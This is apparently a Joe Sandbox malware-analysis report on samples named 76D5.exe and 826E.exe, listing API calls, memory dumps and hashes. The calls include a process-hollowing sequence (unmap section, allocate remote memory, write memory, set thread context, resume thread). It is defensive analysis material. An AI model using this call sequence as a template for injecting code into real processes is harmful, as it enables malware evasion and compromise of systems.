VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02830270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02830283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0283029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 028302C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 028302E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02830304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0283032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02830399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 028303BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 028303E1
ResumeThread.KERNELBASE(00000000), ref: 028303ED
ExitProcess.KERNEL32(00000000), ref: 02830412

Memory Dump Source

Source File: 00000006.00000002.1984645811.0000000002830000.00000040.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2830000_76D5.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 5898a189b1c67e935d067a937d702b80a2159edb7656d9ef1595b72450ec7f35
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: CFB1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02830420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02830533

Strings

d, xrefs: 02830584
0, xrefs: 02830492
mfoaskdfnoa, xrefs: 02830520, 02830523
saodkfnosa9uin, xrefs: 028304DA

Memory Dump Source

Source File: 00000006.00000002.1984645811.0000000002830000.00000040.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2830000_76D5.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 2b0511def387e3cd5e9832ea0eb2061ea5b02631c9f2ab3bb3bd54ca5c6485d1
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 0D511A74D083C8DAEB12CBD8C849BDDBFB26F11708F144058D5487F286C3BA5658CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 028305B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 028305EC

Strings

apfHQ, xrefs: 028305E2, 028305E5
o, xrefs: 02830600

Memory Dump Source

Source File: 00000006.00000002.1984645811.0000000002830000.00000040.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2830000_76D5.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: ac38d65dc4bd9607ccfb481e5eb16bc97982e7797921a358d7af98f57d943232
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 58011E74C0425CEADB15DBD8C5183AEBFB5AF41309F148499C4096B242D7B69B58CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 025577C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 025577EE
Module32First.KERNEL32(00000000,00000224), ref: 0255780E

Memory Dump Source

Source File: 00000006.00000002.1984503860.0000000002557000.00000040.00000020.00020000.00000000.sdmp, Offset: 02557000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2557000_76D5.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: af4c30ed65f63c2164ae1990863b3ff1ae11bcb1dae861961bad5872ebdbd567
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 15F062316007256BD7203BB5A89DB7ABAE8BF8D625F10052AEA42910C0DB74E8458A65

Uniqueness

Uniqueness Score: -1.00%

Function 02557485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 025574D6

Memory Dump Source

Source File: 00000006.00000002.1984503860.0000000002557000.00000040.00000020.00020000.00000000.sdmp, Offset: 02557000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2557000_76D5.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d4ba6e60c397f14f9766b235348830160eed4a48138a586703058b5d52924417
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 49113979A00208EFDB01DF98C985E99BFF5AF08351F0580A5F9489B361D371EA90EF84

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 76D5.exePID: 3632, Parent PID: 5296COMMON

Execution Graph

Execution Coverage:	15.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.2%
Total number of Nodes:	27
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00694A87 Relevance: 6.0, APIs: 4, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___sbh_find_block.LIBCMT ref: 00694AB0
___sbh_free_block.LIBCMT ref: 00694ABF
RtlFreeHeap.NTDLL(00000000,?,0081B8C0,0000000C,00695999,00000000,?,?,006959B0,?,006C5FF8,0081C690,0000000C,006C60AA,?,00000000), ref: 00694AEF
GetLastError.KERNEL32(?,?,006959B0,?,006C5FF8,0081C690,0000000C,006C60AA,?,00000000), ref: 00694B00

Memory Dump Source

Source File: 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4105257211.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.4105257211.000000000083C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.4105257211.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_76D5.jbxd

Similarity

API ID: ErrorFreeHeapLast___sbh_find_block___sbh_free_block
String ID:
API String ID: 2661975262-0
Opcode ID: 78909d6c4936e91804b8b1daa8b3149c3f077c8927f69aac5a87e0b9846f729e
Instruction ID: d2f168f1c234fbc1eb0db84b56c896eb6ac808ee96d716f7e41c0537d1ba3495
Opcode Fuzzy Hash: 78909d6c4936e91804b8b1daa8b3149c3f077c8927f69aac5a87e0b9846f729e
Instruction Fuzzy Hash: E501A271945301AADF60BF74AC06F9F3B6EAF00765F10000DF510A6A99CE788A42DA68

Uniqueness

Uniqueness Score: -1.00%

Function 006C5FE7 Relevance: 4.5, APIs: 3, Instructions: 19
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 006C5FF3

Part of subcall function 006959A8: __getptd_noexit.LIBCMT ref: 006959AB
Part of subcall function 006959A8: __amsg_exit.LIBCMT ref: 006959B8

__endthreadex.LIBCMT ref: 006C6003

Part of subcall function 006C5FAA: __IsNonwritableInCurrentImage.LIBCMT ref: 006C5FBD
Part of subcall function 006C5FAA: __getptd_noexit.LIBCMT ref: 006C5FCD
Part of subcall function 006C5FAA: __freeptd.LIBCMT ref: 006C5FD7
Part of subcall function 006C5FAA: RtlExitUserThread.NTDLL(?,?,006C6008,00000000), ref: 006C5FE0
Part of subcall function 006C5FAA: __XcptFilter.LIBCMT ref: 006C6014

Memory Dump Source

Source File: 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4105257211.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.4105257211.000000000083C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.4105257211.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_76D5.jbxd

Similarity

API ID: __getptd_noexit$CurrentExitFilterImageNonwritableThreadUserXcpt__amsg_exit__endthreadex__freeptd__getptd
String ID:
API String ID: 1003287236-0
Opcode ID: a89283c4aba3c99d0b47ffbdad6a7f8d104b49c00d8e382c7f34c9978f4e5ab4
Instruction ID: d5ace2e70bc2d3c52d8088d9385be9d0b72b17dae02ad738aec28fd26f28fbfb
Opcode Fuzzy Hash: a89283c4aba3c99d0b47ffbdad6a7f8d104b49c00d8e382c7f34c9978f4e5ab4
Instruction Fuzzy Hash: 65E0ECB5954605DFEB58ABA0C806E7E776AEF48311F20404CF1029B6A2CA75A984DF25

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00694A78 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 006999D2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006999E7
UnhandledExceptionFilter.KERNEL32(006D9C6C), ref: 006999F2
GetCurrentProcess.KERNEL32(C0000409), ref: 00699A0E
TerminateProcess.KERNEL32(00000000), ref: 00699A15

Memory Dump Source

Source File: 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4105257211.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.4105257211.000000000083C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.4105257211.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_76D5.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 5e4f057abdc76eb51c15de7ff52c5ade2ab544b117bf26ad20e1fd5a877e97fd
Instruction ID: dcde4617195335d5d3c577808627ec0208f30a12f7e2c262b8b14ad4a69ab474
Opcode Fuzzy Hash: 5e4f057abdc76eb51c15de7ff52c5ade2ab544b117bf26ad20e1fd5a877e97fd
Instruction Fuzzy Hash: F021E0B4902305DFCB91DF69FD856447BA9FB88360F10681AF509833A0EFB059828F35

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 826E.exePID: 6544, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	78.4%
Signature Coverage:	0%
Total number of Nodes:	116
Total number of Limit Nodes:	7

Executed Functions

Function 0040F460 Relevance: 21.3, APIs: 9, Strings: 2, Instructions: 2017
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,00003000,00000004), ref: 0040F7E6

Strings

MZx, xrefs: 0040F6B1, 0040F6BE, 0040F8AA, 004101EC
, xrefs: 004101A7

Memory Dump Source

Source File: 00000008.00000002.2918494898.000000000040F000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2918274894.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918315009.0000000000401000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918602953.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918646218.0000000000412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918906543.0000000000416000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2919101465.00000000004A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_826E.jbxd

Similarity

API ID: AllocVirtual
String ID: $MZx
API String ID: 4275171209-1316729395
Opcode ID: 02ec3c128526d60efd3282e7fe7c23879e11bc4cea9e1b9ab245c0afc464546a
Instruction ID: fef566176a55e55429121474febf3ae96f9d440618e30bf59578d09cd463ee7e
Opcode Fuzzy Hash: 02ec3c128526d60efd3282e7fe7c23879e11bc4cea9e1b9ab245c0afc464546a
Instruction Fuzzy Hash: E9D28B27D11B2C4BE7148A38CC847A4A922EBD9320F51E772D86DEB7D4C77C8D858B85

Uniqueness

Uniqueness Score: -1.00%

Function 0070B6F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00003000,00000040), ref: 0070B84F
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 0070B891

Strings

$, xrefs: 0070B82A

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: $
API String ID: 292159236-3993045852
Opcode ID: 745963bc1b226faa7b076dc975d623109500872f9b6db4d2785785a787abe566
Instruction ID: e6d61dfcf3dd7acc7d25d54b298df4b696faedfa111b67c1408f4e9d6b032c6d
Opcode Fuzzy Hash: 745963bc1b226faa7b076dc975d623109500872f9b6db4d2785785a787abe566
Instruction Fuzzy Hash: F9413930A01644DFDB61CF29DC50BA57BF5FB49310F14C245E990AB3E2DB39A942CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0070B300 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00003000,00000040), ref: 0070B44F
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 0070B499

Strings

,, xrefs: 0070B42A

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: ,
API String ID: 292159236-3772416878
Opcode ID: 9e309badf5b11f14d3107a429ad2a67c01464216a9795e8fcd5ce9fb4b468589
Instruction ID: 9e4e467422ce3c2e0491715fab9deaabbd317c2a8699284a857495ca793d2f95
Opcode Fuzzy Hash: 9e309badf5b11f14d3107a429ad2a67c01464216a9795e8fcd5ce9fb4b468589
Instruction Fuzzy Hash: BE51F630501258AFCB218F28DC40BA67BF1FB49310F158258FA54AB3E1D73A9A53CB56

Uniqueness

Uniqueness Score: -1.00%

Function 006E6E10 Relevance: 3.1, APIs: 2, Instructions: 142
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00003000,00000040), ref: 006E6FB9
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 006E6FE5

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 7a7554d877270d20bf38578ab5e7d029bc32680d6996984d044750b73cda5752
Instruction ID: b141db681ab6386099cdfd38fa906670698466b306951feb74c0ec21345fa523
Opcode Fuzzy Hash: 7a7554d877270d20bf38578ab5e7d029bc32680d6996984d044750b73cda5752
Instruction Fuzzy Hash: BA51B1705052909FC7218F6DEC506E63FF2AB6E310B05C595E4909B2E2CF385A46DBB9

Uniqueness

Uniqueness Score: -1.00%

Function 0070B500 Relevance: 3.1, APIs: 2, Instructions: 130
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00003000,00000040), ref: 0070B665
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 0070B69D

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: caa01a147c8cdc62d1dc72b41cfba1cb42ca4d89ade5e15ce299f4741a624545
Instruction ID: ba109c137596837e796dcd15d3b402219eef147c154bdf994c21f05a8aa395e2
Opcode Fuzzy Hash: caa01a147c8cdc62d1dc72b41cfba1cb42ca4d89ade5e15ce299f4741a624545
Instruction Fuzzy Hash: 09412630602244DFCB21CF29DC40BA67BF1FB59320F148259E9A0973E1CB3A9953CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00709F00 Relevance: 3.0, APIs: 2, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,005D0490,006CBB23), ref: 00709F16
FreeLibrary.KERNELBASE(006CBB23), ref: 00709F22

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: Free$HeapLibrary
String ID:
API String ID: 1883740751-0
Opcode ID: 0c8f1da038809dd6a31f23dc116efa0df7f2f7909f50cfbf3a524088ff5346f3
Instruction ID: f90aecb2465c9dfda511eefefa0f52f2ad7f33a61966c52d96bb47113043e55e
Opcode Fuzzy Hash: 0c8f1da038809dd6a31f23dc116efa0df7f2f7909f50cfbf3a524088ff5346f3
Instruction Fuzzy Hash: ECE0EC31101080EFCF316F90ED4AB243B76FB04745B15C018F50185172C72D6853DF09

Uniqueness

Uniqueness Score: -1.00%

Function 00702B10 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 00702B25

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3ce594b78ede174cd3566ab1d8459610e1217fc2cda048628045cc9a77f6dca7
Instruction ID: f4f678f0a75d6ef0f6f05aac871073cad64dc5efae853c1d1592af83dafc06bd
Opcode Fuzzy Hash: 3ce594b78ede174cd3566ab1d8459610e1217fc2cda048628045cc9a77f6dca7
Instruction Fuzzy Hash: 01C04C71340640EBDF269F10DE94F3977A9FB40B44F144558F506C94E1DB29EC43DA14

Uniqueness

Uniqueness Score: -1.00%

Function 00702AF0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,006D18D9,?), ref: 00702AFF

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a091e187ec8852c3c8a43469d7e3ce7655b838e50a5247e990b023e1ae4c7ac8
Instruction ID: c44468c4f030209473f7aea249cf93c89e394bb02a0a39584e2a1d0608638f43
Opcode Fuzzy Hash: a091e187ec8852c3c8a43469d7e3ce7655b838e50a5247e990b023e1ae4c7ac8
Instruction Fuzzy Hash: 12B09232180640EFCF229F40CE04F097BB1FB44B00F114454B201464B0C3399811EB04

Uniqueness

Uniqueness Score: -1.00%

Function 00410D60 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 194
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(004129C0,00000099), ref: 00410F06
GetProcAddress.KERNEL32(00000000), ref: 00410F0D
VirtualProtect.KERNELBASE(Function_0000F460,00001900,00000040,?), ref: 00410FAC

Strings

s, xrefs: 00410D95
S, xrefs: 00410D71
#, xrefs: 00410D89
N, xrefs: 00410D6D

Memory Dump Source

Source File: 00000008.00000002.2918494898.000000000040F000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2918274894.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918315009.0000000000401000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918602953.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918646218.0000000000412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918906543.0000000000416000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2919101465.00000000004A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_826E.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: #$N$S$s
API String ID: 2099061454-1636381911
Opcode ID: 66d9b7b6e920296096894879a96ec83e45da36e4f195059e7837522a872cf59c
Instruction ID: 932988aa89a6c2b1ea336f83008dbcb06ffb167aa89397c82caba13f7329ee48
Opcode Fuzzy Hash: 66d9b7b6e920296096894879a96ec83e45da36e4f195059e7837522a872cf59c
Instruction Fuzzy Hash: 18716010C0D2DC89DB1687FD8856AEDBFF04F6F292F084289D8E5B62D6C1A44A449B79

Uniqueness

Uniqueness Score: -1.00%

Function 004100E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,MZx,00000040,?), ref: 00410207

Strings

MZx, xrefs: 004101EC
@, xrefs: 00410158

Memory Dump Source

Source File: 00000008.00000002.2918494898.000000000040F000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2918274894.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918315009.0000000000401000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918602953.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918646218.0000000000412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2918906543.0000000000416000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2919101465.00000000004A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_826E.jbxd

Similarity

API ID: ProtectVirtual
String ID: @$MZx
API String ID: 544645111-3611936126
Opcode ID: 84f3139ff48f700603327d3b0a730d9c408892b0b6d038a28d94b650fa76cfa2
Instruction ID: c16469120390ef7150a700730730d1a11c90f56a5b7cdd91b10a46b8c1403489
Opcode Fuzzy Hash: 84f3139ff48f700603327d3b0a730d9c408892b0b6d038a28d94b650fa76cfa2
Instruction Fuzzy Hash: 7A11B971A04128DBDB28CB04CDD0BE9F7B2AB69304F14C2D9958DAB255C6B89EC0CF54

Uniqueness

Uniqueness Score: -1.00%

Function 006CBB38 Relevance: 1.6, APIs: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 006CBAA8

Memory Dump Source

Source File: 00000008.00000002.2920366715.00000000006B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000008.00000002.2920336774.00000000006B0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920591421.000000000070D000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920619957.0000000000711000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2920655616.000000000072C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6b0000_826E.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: aec609a1411a148eb1852178f875f43768ddc3dc69dbd4f38626e173e2184c2a
Instruction ID: 755300b48d28be93e0262ad789cd85ecf36c37b223d6af7f5a493ac8af14ef82
Opcode Fuzzy Hash: aec609a1411a148eb1852178f875f43768ddc3dc69dbd4f38626e173e2184c2a
Instruction Fuzzy Hash: FF112A71918112DFC3802F68FC1A5A932B5FF17303F86C4B5E404865E2EB7D89518BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F420 Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileInformationByHandle.KERNELBASE(?,?), ref: 0040F42E

Memory Dump Source

Source File: 00000008.00000002.2918494898.000000000040F000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

